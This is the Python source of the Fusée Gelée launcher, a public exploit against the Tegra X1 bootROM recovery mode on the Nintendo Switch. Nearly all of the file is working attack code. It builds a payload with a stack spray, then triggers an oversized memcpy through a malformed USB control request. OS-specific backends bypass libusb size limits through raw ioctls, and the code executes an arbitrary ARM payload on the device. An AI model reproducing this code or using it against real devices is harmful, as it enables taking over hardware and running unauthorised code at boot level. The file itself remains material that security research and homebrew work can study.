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#!/usr/bin/env python3
#
# fusée gelée
#
# Launcher for the {re}switched coldboot/bootrom hacks--
# launches payloads above the Horizon
#
# discovery and implementation by @ktemkin
# likely independently discovered by lots of others <3
#
# this code is political -- it stands with those who fight for LGBT rights
# don't like it? suck it up, or find your own damned exploit ^-^
#
# special thanks to:
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# ScirèsM, motezazer -- guidance and support
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# hedgeberg, andeor -- dumping the Jetson bootROM
# TuxSH -- for IDB notes that were nice to peek at
#
# much love to:
# Aurora Wright, Qyriad, f916253, MassExplosion213, Schala, and Levi
#
# greetings to:
# shuffle2
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# This file is part of Fusée Launcher
# Copyright (C) 2018 Mikaela Szekely <qyriad@gmail.com>
# Copyright (C) 2018 Kate Temkin <k@ktemkin.com>
# Fusée Launcher is licensed under the terms of the GNU GPLv2
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import os
import sys
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import errno
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import ctypes
import argparse
import platform
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# The address where the RCM payload is placed.
# This is fixed for most device.
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RCM_PAYLOAD_ADDR = 0x40010000
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# The address where the user payload is expected to begin.
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PAYLOAD_START_ADDR = 0x40010E40
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# Specify the range of addresses where we should inject oct
# payload address.
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STACK_SPRAY_START = 0x40014E40
STACK_SPRAY_END = 0x40017000
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# notes:
# GET_CONFIGURATION to the DEVICE triggers memcpy from 0x40003982
# GET_INTERFACE to the INTERFACE triggers memcpy from 0x40003984
# GET_STATUS to the ENDPOINT triggers memcpy from <on the stack>
class HaxBackend :
"""
Base class for backends for the TegraRCM vuln .
"""
# USB constants used
STANDARD_REQUEST_DEVICE_TO_HOST_TO_ENDPOINT = 0x82
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STANDARD_REQUEST_DEVICE_TO_HOST = 0x80
GET_DESCRIPTOR = 0x6
GET_CONFIGURATION = 0x8
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# Interface requests
GET_STATUS = 0x0
# List of OSs this class supports.
SUPPORTED_SYSTEMS = [ ]
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def __init__ ( self , skip_checks = False ) :
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""" Sets up the backend for the given device. """
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self . skip_checks = skip_checks
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def print_warnings ( self ) :
""" Print any warnings necessary for the given backend. """
pass
def trigger_vulnerability ( self , length ) :
"""
Triggers the actual controlled memcpy .
The actual trigger needs to be executed carefully , as different host OSs
require us to ask for our invalid control request differently .
"""
raise NotImplementedError ( " Trying to use an abstract backend rather than an instance of the proper subclass! " )
@classmethod
def supported ( cls , system_override = None ) :
""" Returns true iff the given backend is supported on this platform. """
# If we have a SYSTEM_OVERRIDE, use it.
if system_override :
system = system_override
else :
system = platform . system ( )
return system in cls . SUPPORTED_SYSTEMS
@classmethod
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def create_appropriate_backend ( cls , system_override = None , skip_checks = False ) :
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""" Creates a backend object appropriate for the current OS. """
# Search for a supportive backend, and try to create one.
for subclass in cls . __subclasses__ ( ) :
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if subclass . supported ( system_override ) :
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return subclass ( skip_checks = skip_checks )
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# ... if we couldn't, bail out.
raise IOError ( " No backend to trigger the vulnerability-- it ' s likely we don ' t support your OS! " )
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def read ( self , length ) :
""" Reads data from the RCM protocol endpoint. """
return bytes ( self . dev . read ( 0x81 , length , 1000 ) )
def write_single_buffer ( self , data ) :
"""
Writes a single RCM buffer , which should be 0x1000 long .
The last packet may be shorter , and should trigger a ZLP ( e . g . not divisible by 512 ) .
If it ' s not, send a ZLP.
"""
return self . dev . write ( 0x01 , data , 1000 )
def find_device ( self , vid = None , pid = None ) :
""" Set and return the device to be used """
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import usb
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self . dev = usb . core . find ( idVendor = vid , idProduct = pid )
return self . dev
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class MacOSBackend ( HaxBackend ) :
"""
Simple vulnerability trigger for macOS : we simply ask libusb to issue
the broken control request , and it ' ll do it for us. :)
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We also support platforms with a hacked libusb and FreeBSD .
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"""
BACKEND_NAME = " macOS "
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SUPPORTED_SYSTEMS = [ ' Darwin ' , ' libusbhax ' , ' macos ' , ' FreeBSD ' ]
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def trigger_vulnerability ( self , length ) :
# Triggering the vulnerability is simplest on macOS; we simply issue the control request as-is.
return self . dev . ctrl_transfer ( self . STANDARD_REQUEST_DEVICE_TO_HOST_TO_ENDPOINT , self . GET_STATUS , 0 , 0 , length )
class LinuxBackend ( HaxBackend ) :
"""
More complex vulnerability trigger for Linux : we can ' t go through libusb,
as it limits control requests to a single page size , the limitation expressed
by the usbfs . More realistically , the usbfs seems fine with it , and we just
need to work around libusb .
"""
BACKEND_NAME = " Linux "
SUPPORTED_SYSTEMS = [ ' Linux ' , ' linux ' ]
SUPPORTED_USB_CONTROLLERS = [ ' pci/drivers/xhci_hcd ' , ' platform/drivers/dwc_otg ' ]
SETUP_PACKET_SIZE = 8
IOCTL_IOR = 0x80000000
IOCTL_TYPE = ord ( ' U ' )
IOCTL_NR_SUBMIT_URB = 10
URB_CONTROL_REQUEST = 2
class SubmitURBIoctl ( ctypes . Structure ) :
_fields_ = [
( ' type ' , ctypes . c_ubyte ) ,
( ' endpoint ' , ctypes . c_ubyte ) ,
( ' status ' , ctypes . c_int ) ,
( ' flags ' , ctypes . c_uint ) ,
( ' buffer ' , ctypes . c_void_p ) ,
( ' buffer_length ' , ctypes . c_int ) ,
( ' actual_length ' , ctypes . c_int ) ,
( ' start_frame ' , ctypes . c_int ) ,
( ' stream_id ' , ctypes . c_uint ) ,
( ' error_count ' , ctypes . c_int ) ,
( ' signr ' , ctypes . c_uint ) ,
( ' usercontext ' , ctypes . c_void_p ) ,
]
def print_warnings ( self ) :
""" Print any warnings necessary for the given backend. """
print ( " \n Important note: on desktop Linux systems, we currently require an XHCI host controller. " )
print ( " A good way to ensure you ' re likely using an XHCI backend is to plug your " )
print ( " device into a blue ' USB 3 ' port. \n " )
def trigger_vulnerability ( self , length ) :
"""
Submit the control request directly using the USBFS submit_urb
ioctl , which issues the control request directly . This allows us
to send our giant control request despite size limitations .
"""
import os
import fcntl
# We only work for devices that are bound to a compatible HCD.
self . _validate_environment ( )
# Figure out the USB device file we're going to use to issue the
# control request.
fd = os . open ( ' /dev/bus/usb/ {:0>3d} / {:0>3d} ' . format ( self . dev . bus , self . dev . address ) , os . O_RDWR )
# Define the setup packet to be submitted.
setup_packet = \
int . to_bytes ( self . STANDARD_REQUEST_DEVICE_TO_HOST_TO_ENDPOINT , 1 , byteorder = ' little ' ) + \
int . to_bytes ( self . GET_STATUS , 1 , byteorder = ' little ' ) + \
int . to_bytes ( 0 , 2 , byteorder = ' little ' ) + \
int . to_bytes ( 0 , 2 , byteorder = ' little ' ) + \
int . to_bytes ( length , 2 , byteorder = ' little ' )
# Create a buffer to hold the result.
buffer_size = self . SETUP_PACKET_SIZE + length
buffer = ctypes . create_string_buffer ( setup_packet , buffer_size )
# Define the data structure used to issue the control request URB.
request = self . SubmitURBIoctl ( )
request . type = self . URB_CONTROL_REQUEST
request . endpoint = 0
request . buffer = ctypes . addressof ( buffer )
request . buffer_length = buffer_size
# Manually submit an URB to the kernel, so it issues our 'evil' control request.
ioctl_number = ( self . IOCTL_IOR | ctypes . sizeof ( request ) << 16 | ord ( ' U ' ) << 8 | self . IOCTL_NR_SUBMIT_URB )
fcntl . ioctl ( fd , ioctl_number , request , True )
# Close our newly created fd.
os . close ( fd )
# The other modules raise an IOError when the control request fails to complete. We don't fail out (as we don't bother
# reading back), so we'll simulate the same behavior as the others.
raise IOError ( " Raising an error to match the others! " )
def _validate_environment ( self ) :
"""
We can only inject giant control requests on devices that are backed
by certain usb controllers - - typically , the xhci_hcd on most PCs .
"""
from glob import glob
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# If we're overriding checks, never fail out.
if self . skip_checks :
print ( " skipping checks " )
return
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# Search each device bound to the xhci_hcd driver for the active device...
for hci_name in self . SUPPORTED_USB_CONTROLLERS :
for path in glob ( " /sys/bus/ {} /*/usb* " . format ( hci_name ) ) :
if self . _node_matches_our_device ( path ) :
return
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raise ValueError ( " This device needs to be on a supported backend. Usually that means plugged into a blue/USB 3.0 port! \n Bailing out. " )
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def _node_matches_our_device ( self , path ) :
"""
Checks to see if the given sysfs node matches our given device .
Can be used to check if an xhci_hcd controller subnode reflects a given device . ,
"""
# If this isn't a valid USB device node, it's not what we're looking for.
if not os . path . isfile ( path + " /busnum " ) :
return False
# We assume that a whole _bus_ is associated with a host controller driver, so we
# only check for a matching bus ID.
if self . dev . bus != self . _read_num_file ( path + " /busnum " ) :
return False
# If all of our checks passed, this is our device.
return True
def _read_num_file ( self , path ) :
"""
Reads a numeric value from a sysfs file that contains only a number .
"""
with open ( path , ' r ' ) as f :
raw = f . read ( )
return int ( raw )
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class WindowsBackend ( HaxBackend ) :
"""
Use libusbK for most of it , and use the handle libusbK gets for us to call kernel32 ' s DeviceIoControl
"""
BACKEND_NAME = " Windows "
SUPPORTED_SYSTEMS = [ " Windows " ]
# Windows and libusbK specific constants
WINDOWS_FILE_DEVICE_UNKNOWN = 0x00000022
LIBUSBK_FUNCTION_CODE_GET_STATUS = 0x807
WINDOWS_METHOD_BUFFERED = 0
WINDOWS_FILE_ANY_ACCESS = 0
RAW_REQUEST_STRUCT_SIZE = 24 # 24 is how big the struct is, just trust me
TO_ENDPOINT = 2
# Yoinked (with love) from Windows' CTL_CODE macro
def win_ctrl_code ( self , DeviceType , Function , Method , Access ) :
""" Return a control code for use with DeviceIoControl() """
return ( ( DeviceType ) << 16 | ( ( Access ) << 14 ) | ( ( Function ) ) << 2 | ( Method ) )
def __init__ ( self , skip_checks ) :
import libusbK
self . libk = libusbK
# Grab libusbK
self . lib = ctypes . cdll . libusbK
def find_device ( self , Vid , Pid ) :
"""
Windows version of this function
Its return isn ' t actually significant, but it needs to be not None
"""
# Get a list of devices to use later
device_list = self . libk . KLST_HANDLE ( )
device_info = ctypes . pointer ( self . libk . KLST_DEV_INFO ( ) )
ret = self . lib . LstK_Init ( ctypes . byref ( device_list ) , 0 )
if ret == 0 :
raise ctypes . WinError ( )
# Get info for a device with that vendor ID and product ID
device_info = ctypes . pointer ( self . libk . KLST_DEV_INFO ( ) )
ret = self . lib . LstK_FindByVidPid ( device_list , Vid , Pid , ctypes . byref ( device_info ) )
self . lib . LstK_Free ( ctypes . byref ( device_list ) )
if device_info is None or ret == 0 :
return None
# Populate function pointers for use with the driver our device uses (which should be libusbK)
self . dev = self . libk . KUSB_DRIVER_API ( )
ret = self . lib . LibK_LoadDriverAPI ( ctypes . byref ( self . dev ) , device_info . contents . DriverID )
if ret == 0 :
raise ctypes . WinError ( )
# Initialize the driver for use with our device
self . handle = self . libk . KUSB_HANDLE ( None )
ret = self . dev . Init ( ctypes . byref ( self . handle ) , device_info )
if ret == 0 :
raise self . libk . WinError ( )
return self . dev
def read ( self , length ) :
""" Read using libusbK """
# Create the buffer to store what we read
buffer = ctypes . create_string_buffer ( length )
len_transferred = ctypes . c_uint ( 0 )
# Call libusbK's ReadPipe using our specially-crafted function pointer and the opaque device handle
ret = self . dev . ReadPipe ( self . handle , ctypes . c_ubyte ( 0x81 ) , ctypes . addressof ( buffer ) , ctypes . c_uint ( length ) , ctypes . byref ( len_transferred ) , None )
if ret == 0 :
raise ctypes . WinError ( )
return buffer . raw
def write_single_buffer ( self , data ) :
""" Write using libusbK """
# Copy construct to a bytearray so we Know™ what type it is
buffer = bytearray ( data )
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# Convert wrap the data for use with ctypes
cbuffer = ( ctypes . c_ubyte * len ( buffer ) ) ( * buffer )
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len_transferred = ctypes . c_uint ( 0 )
# Call libusbK's WritePipe using our specially-crafted function pointer and the opaque device handle
ret = self . dev . WritePipe ( self . handle , ctypes . c_ubyte ( 0x01 ) , cbuffer , len ( data ) , ctypes . byref ( len_transferred ) , None )
if ret == 0 :
raise ctypes . WinError ( )
def ioctl ( self , driver_handle : ctypes . c_void_p , ioctl_code : ctypes . c_ulong , input_bytes : ctypes . c_void_p , input_bytes_count : ctypes . c_size_t , output_bytes : ctypes . c_void_p , output_bytes_count : ctypes . c_size_t ) :
""" Wrapper for DeviceIoControl """
overlapped = self . libk . OVERLAPPED ( )
ctypes . memset ( ctypes . addressof ( overlapped ) , 0 , ctypes . sizeof ( overlapped ) )
ret = ctypes . windll . kernel32 . DeviceIoControl ( driver_handle , ioctl_code , input_bytes , input_bytes_count , output_bytes , output_bytes_count , None , ctypes . byref ( overlapped ) )
# We expect this to error, which matches the others ^_^
if ret == False :
raise ctypes . WinError ( )
def trigger_vulnerability ( self , length ) :
"""
Go over libusbK ' s head and get the master handle it ' s been using internally
and perform a direct DeviceIoControl call to the kernel to skip the length check
"""
# self.handle is KUSB_HANDLE, cast to KUSB_HANDLE_INTERNAL to transparent-ize it
internal = ctypes . cast ( self . handle , ctypes . POINTER ( self . libk . KUSB_HANDLE_INTERNAL ) )
# Get the handle libusbK has been secretly using in its ioctl calls this whole time
master_handle = internal . contents . Device . contents . MasterDeviceHandle
if master_handle is None or master_handle == self . libk . INVALID_HANDLE_VALUE :
raise ValueError ( " Failed to initialize master handle " )
# the raw request struct is pretty annoying, so I'm just going to allocate enough memory and set the few fields I need
raw_request = ctypes . create_string_buffer ( self . RAW_REQUEST_STRUCT_SIZE )
# set timeout to 1000 ms, timeout offset is 0 (since it's the first member), and it's an unsigned int
timeout_p = ctypes . cast ( raw_request , ctypes . POINTER ( ctypes . c_uint ) )
timeout_p . contents = ctypes . c_ulong ( 1000 ) # milliseconds
status_p = ctypes . cast ( ctypes . byref ( raw_request , 4 ) , ctypes . POINTER ( self . libk . status_t ) )
status_p . contents . index = self . GET_STATUS
status_p . contents . recipient = self . TO_ENDPOINT
buffer = ctypes . create_string_buffer ( length )
code = self . win_ctrl_code ( self . WINDOWS_FILE_DEVICE_UNKNOWN , self . LIBUSBK_FUNCTION_CODE_GET_STATUS , self . WINDOWS_METHOD_BUFFERED , self . WINDOWS_FILE_ANY_ACCESS )
ret = self . ioctl ( master_handle , ctypes . c_ulong ( code ) , raw_request , ctypes . c_size_t ( 24 ) , buffer , ctypes . c_size_t ( length ) )
if ret == False :
raise ctypes . WinError ( )
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class RCMHax :
# Default to the Nintendo Switch RCM VID and PID.
DEFAULT_VID = 0x0955
DEFAULT_PID = 0x7321
# Exploit specifics
COPY_BUFFER_ADDRESSES = [ 0x40005000 , 0x40009000 ] # The addresses of the DMA buffers we can trigger a copy _from_.
STACK_END = 0x40010000 # The address just after the end of the device's stack.
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def __init__ ( self , wait_for_device = False , os_override = None , vid = None , pid = None , override_checks = False ) :
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""" Set up our RCM hack connection. """
# The first write into the bootROM touches the lowbuffer.
self . current_buffer = 0
# Keep track of the total amount written.
self . total_written = 0
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# Create a vulnerability backend for the given device.
try :
self . backend = HaxBackend . create_appropriate_backend ( system_override = os_override , skip_checks = override_checks )
except IOError :
print ( " It doesn ' t look like we support your OS, currently. Sorry about that! \n " )
sys . exit ( - 1 )
# Grab a connection to the USB device itself.
self . dev = self . _find_device ( vid , pid )
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# If we don't have a device...
if self . dev is None :
# ... and we're allowed to wait for one, wait indefinitely for one to appear...
if wait_for_device :
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print ( " Waiting for a TegraRCM device to come online... " )
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while self . dev is None :
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self . dev = self . _find_device ( vid , pid )
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# ... or bail out.
else :
raise IOError ( " No TegraRCM device found? " )
# Print any use-related warnings.
self . backend . print_warnings ( )
# Notify the user of which backend we're using.
print ( " Identified a {} system; setting up the appropriate backend. " . format ( self . backend . BACKEND_NAME ) )
def _find_device ( self , vid = None , pid = None ) :
""" Attempts to get a connection to the RCM device with the given VID and PID. """
# Apply our default VID and PID if neither are provided...
vid = vid if vid else self . DEFAULT_VID
pid = pid if pid else self . DEFAULT_PID
# ... and use them to find a USB device.
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return self . backend . find_device ( vid , pid )
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def read ( self , length ) :
""" Reads data from the RCM protocol endpoint. """
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return self . backend . read ( length )
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def write ( self , data ) :
""" Writes data to the main RCM protocol endpoint. """
length = len ( data )
packet_size = 0x1000
while length :
data_to_transmit = min ( length , packet_size )
length - = data_to_transmit
chunk = data [ : data_to_transmit ]
data = data [ data_to_transmit : ]
self . write_single_buffer ( chunk )
def write_single_buffer ( self , data ) :
"""
Writes a single RCM buffer , which should be 0x1000 long .
The last packet may be shorter , and should trigger a ZLP ( e . g . not divisible by 512 ) .
If it ' s not, send a ZLP.
"""
self . _toggle_buffer ( )
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return self . backend . write_single_buffer ( data )
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def _toggle_buffer ( self ) :
"""
Toggles the active target buffer , paralleling the operation happening in
RCM on the X1 device .
"""
self . current_buffer = 1 - self . current_buffer
def get_current_buffer_address ( self ) :
""" Returns the base address for the current copy. """
return self . COPY_BUFFER_ADDRESSES [ self . current_buffer ]
def read_device_id ( self ) :
""" Reads the Device ID via RCM. Only valid at the start of the communication. """
return self . read ( 16 )
def switch_to_highbuf ( self ) :
""" Switches to the higher RCM buffer, reducing the amount that needs to be copied. """
if switch . get_current_buffer_address ( ) != self . COPY_BUFFER_ADDRESSES [ 1 ] :
switch . write ( b ' \0 ' * 0x1000 )
def trigger_controlled_memcpy ( self , length = None ) :
""" Triggers the RCM vulnerability, causing it to make a signficantly-oversized memcpy. """
# Determine how much we'd need to transmit to smash the full stack.
if length is None :
length = self . STACK_END - self . get_current_buffer_address ( )
return self . backend . trigger_vulnerability ( length )
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def parse_usb_id ( id ) :
""" Quick function to parse VID/PID arguments. """
return int ( id , 16 )
# Read our arguments.
parser = argparse . ArgumentParser ( description = ' launcher for the fusee gelee exploit (by @ktemkin) ' )
parser . add_argument ( ' payload ' , metavar = ' payload ' , type = str , help = ' ARM payload to be launched; should be linked at 0x40010000 ' )
parser . add_argument ( ' -w ' , dest = ' wait ' , action = ' store_true ' , help = ' wait for an RCM connection if one isn \' t present ' )
parser . add_argument ( ' -V ' , metavar = ' vendor_id ' , dest = ' vid ' , type = parse_usb_id , default = None , help = ' overrides the TegraRCM vendor ID ' )
parser . add_argument ( ' -P ' , metavar = ' product_id ' , dest = ' pid ' , type = parse_usb_id , default = None , help = ' overrides the TegraRCM product ID ' )
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parser . add_argument ( ' --override-os ' , metavar = ' platform ' , dest = ' platform ' , type = str , default = None , help = ' overrides the detected OS; for advanced users only ' )
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parser . add_argument ( ' --relocator ' , metavar = ' binary ' , dest = ' relocator ' , type = str , default = " intermezzo.bin " , help = ' provides the path to the intermezzo relocation stub ' )
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parser . add_argument ( ' --override-checks ' , dest = ' skip_checks ' , action = ' store_true ' , help = " don ' t check for a supported controller; useful if you ' ve patched your EHCI driver " )
parser . add_argument ( ' --allow-failed-id ' , dest = ' permissive_id ' , action = ' store_true ' , help = " continue even if reading the device ' s ID fails; useful for development but not for end users " )
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arguments = parser . parse_args ( )
# Expand out the payload path to handle any user-refrences.
payload_path = os . path . expanduser ( arguments . payload )
if not os . path . isfile ( payload_path ) :
print ( " Invalid payload path specified! " )
sys . exit ( - 1 )
# Find our intermezzo relocator...
intermezzo_path = os . path . expanduser ( arguments . relocator )
if not os . path . isfile ( intermezzo_path ) :
print ( " Could not find the intermezzo interposer. Did you build it? " )
sys . exit ( - 1 )
# Get a connection to our device.
try :
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switch = RCMHax ( wait_for_device = arguments . wait , vid = arguments . vid ,
pid = arguments . pid , os_override = arguments . platform , override_checks = arguments . skip_checks )
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except IOError as e :
print ( e )
sys . exit ( - 1 )
# Print the device's ID. Note that reading the device's ID is necessary to get it into
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try :
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device_id = switch . read_device_id ( )
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print ( " Found a Tegra with Device ID: {} " . format ( device_id ) )
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except OSError as e :
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# Raise the exception only if we're not being permissive about ID reads.
if not arguments . permissive_id :
raise e
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# Prefix the image with an RCM command, so it winds up loaded into memory
# at the right location (0x40010000).
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# Use the maximum length accepted by RCM, so we can transmit as much payload as
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# we want; we'll take over before we get to the end.
length = 0x30298
payload = length . to_bytes ( 4 , byteorder = ' little ' )
# pad out to 680 so the payload starts at the right address in IRAM
payload + = b ' \0 ' * ( 680 - len ( payload ) )
# Populate from [RCM_PAYLOAD_ADDR, INTERMEZZO_LOCATION) with the payload address.
# We'll use this data to smash the stack when we execute the vulnerable memcpy.
print ( " \n Setting ourselves up to smash the stack... " )
# Include the Intermezzo binary in the command stream. This is our first-stage
# payload, and it's responsible for relocating the final payload to 0x40010000.
intermezzo_size = 0
with open ( intermezzo_path , " rb " ) as f :
intermezzo = f . read ( )
intermezzo_size = len ( intermezzo )
payload + = intermezzo
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# Pad the payload till the start of the user payload.
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padding_size = PAYLOAD_START_ADDR - ( RCM_PAYLOAD_ADDR + intermezzo_size )
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payload + = ( b ' \0 ' * padding_size )
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target_payload = b ' '
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# Read the user payload into memory.
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with open ( payload_path , " rb " ) as f :
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target_payload = f . read ( )
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# Fit a collection of the payload before the stack spray...
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padding_size = STACK_SPRAY_START - PAYLOAD_START_ADDR
payload + = target_payload [ : padding_size ]
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# ... insert the stack spray...
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repeat_count = int ( ( STACK_SPRAY_END - STACK_SPRAY_START ) / 4 )
payload + = ( RCM_PAYLOAD_ADDR . to_bytes ( 4 , byteorder = ' little ' ) * repeat_count )
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# ... and follow the stack spray with the remainder of the payload.
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payload + = target_payload [ padding_size : ]
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# Pad the payload to fill a USB request exactly, so we don't send a short
# packet and break out of the RCM loop.
payload_length = len ( payload )
padding_size = 0x1000 - ( payload_length % 0x1000 )
payload + = ( b ' \0 ' * padding_size )
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# Check to see if our payload packet will fit inside the RCM high buffer.
# If it won't, error out.
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if len ( payload ) > length :
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size_over = len ( payload ) - length
print ( " ERROR: Payload is too large to be submitted via RCM. ( {} bytes larger than max). " . format ( size_over ) )
sys . exit ( errno . EFBIG )
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# Send the constructed payload, which contains the command, the stack smashing
# values, the Intermezzo relocation stub, and the final payload.
print ( " Uploading payload... " )
switch . write ( payload )
# The RCM backend alternates between two different DMA buffers. Ensure we're
# about to DMA into the higher one, so we have less to copy during our attack.
switch . switch_to_highbuf ( )
# Smash the device's stack, triggering the vulnerability.
print ( " Smashing the stack... " )
try :
switch . trigger_controlled_memcpy ( )
except ValueError as e :
print ( str ( e ) )
except IOError :
print ( " The USB device stopped responding-- sure smells like we ' ve smashed its stack. :) " )
print ( " Launch complete! " )